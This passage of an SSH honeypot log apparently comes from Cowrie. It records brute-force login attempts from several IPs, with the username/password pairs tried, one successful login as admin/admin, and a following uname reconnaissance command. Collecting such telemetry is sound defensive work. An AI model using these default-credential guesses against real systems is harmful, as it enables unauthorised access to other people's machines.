0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:57.679811Z","src_ip":"192.109.200.78","session":"1d7e9acd2667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:58.058558Z","src_ip":"192.109.200.78","session":"1d7e9acd2667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38772,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dee7cb2368e","protocol":"ssh","message":"New connection: 176.65.139.95:38772 (159.203.135.109:22) [session: 7dee7cb2368e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:58.595236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:58.608205Z","src_ip":"176.65.139.95","session":"7dee7cb2368e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:58.810107Z","src_ip":"176.65.139.95","session":"7dee7cb2368e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:59.143960Z","src_ip":"192.109.200.78","session":"1d7e9acd2667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:59.337779Z","src_ip":"176.65.139.95","session":"7dee7cb2368e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:00.427360Z","src_ip":"176.65.139.95","session":"7dee7cb2368e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40818,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7033664f452","protocol":"ssh","message":"New connection: 192.109.200.78:40818 (159.203.135.109:22) [session: a7033664f452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:01.342397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:01.347358Z","src_ip":"192.109.200.78","session":"a7033664f452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:01.434747Z","src_ip":"192.109.200.78","session":"a7033664f452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:01.690493Z","src_ip":"192.109.200.78","session":"a7033664f452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:02.782756Z","src_ip":"192.109.200.78","session":"a7033664f452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40830,"dst_ip":"159.203.135.109","dst_port":22,"session":"934052586f96","protocol":"ssh","message":"New connection: 192.109.200.78:40830 (159.203.135.109:22) [session: 934052586f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:05.217189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:05.222562Z","src_ip":"192.109.200.78","session":"934052586f96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:05.414789Z","src_ip":"192.109.200.78","session":"934052586f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38800,"dst_ip":"159.203.135.109","dst_port":22,"session":"407b8dc45fcd","protocol":"ssh","message":"New connection: 176.65.139.95:38800 (159.203.135.109:22) [session: 407b8dc45fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:05.531409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:05.536696Z","src_ip":"176.65.139.95","session":"407b8dc45fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:05.635681Z","src_ip":"176.65.139.95","session":"407b8dc45fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:05.715889Z","src_ip":"192.109.200.78","session":"934052586f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:06.008880Z","src_ip":"176.65.139.95","session":"407b8dc45fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:06.806062Z","src_ip":"192.109.200.78","session":"934052586f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:07.331899Z","src_ip":"176.65.139.95","session":"407b8dc45fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59862,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f4f147fc639","protocol":"ssh","message":"New connection: 159.203.92.129:59862 (159.203.135.109:22) [session: 8f4f147fc639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:07.711024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:07.718596Z","src_ip":"159.203.92.129","session":"8f4f147fc639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:07.724005Z","src_ip":"159.203.92.129","session":"8f4f147fc639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Nigeria","password":"123456","message":"login attempt [Nigeria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:07.736642Z","src_ip":"159.203.92.129","session":"8f4f147fc639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:08.745962Z","src_ip":"159.203.92.129","session":"8f4f147fc639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33180,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ffb8b3734db","protocol":"ssh","message":"New connection: 192.109.200.78:33180 (159.203.135.109:22) [session: 1ffb8b3734db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:09.363610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:09.368408Z","src_ip":"192.109.200.78","session":"1ffb8b3734db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:09.450645Z","src_ip":"192.109.200.78","session":"1ffb8b3734db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:09.700783Z","src_ip":"192.109.200.78","session":"1ffb8b3734db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:10.846341Z","src_ip":"192.109.200.78","session":"1ffb8b3734db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35180,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d28e0a8ee30","protocol":"ssh","message":"New connection: 176.65.139.95:35180 (159.203.135.109:22) [session: 0d28e0a8ee30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:11.783548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:11.793653Z","src_ip":"176.65.139.95","session":"0d28e0a8ee30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:11.870275Z","src_ip":"176.65.139.95","session":"0d28e0a8ee30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:12.480416Z","src_ip":"176.65.139.95","session":"0d28e0a8ee30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33196,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dc9b3f01ca2","protocol":"ssh","message":"New connection: 192.109.200.78:33196 (159.203.135.109:22) [session: 9dc9b3f01ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:13.174487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:13.179100Z","src_ip":"192.109.200.78","session":"9dc9b3f01ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:13.448380Z","src_ip":"192.109.200.78","session":"9dc9b3f01ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:13.568429Z","src_ip":"176.65.139.95","session":"0d28e0a8ee30","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:13.708226Z","src_ip":"192.109.200.78","session":"9dc9b3f01ca2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:13.908888Z","src_ip":"192.109.200.78","session":"9dc9b3f01ca2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:13.912780Z","src_ip":"192.109.200.78","session":"9dc9b3f01ca2","protocol":"ssh"}
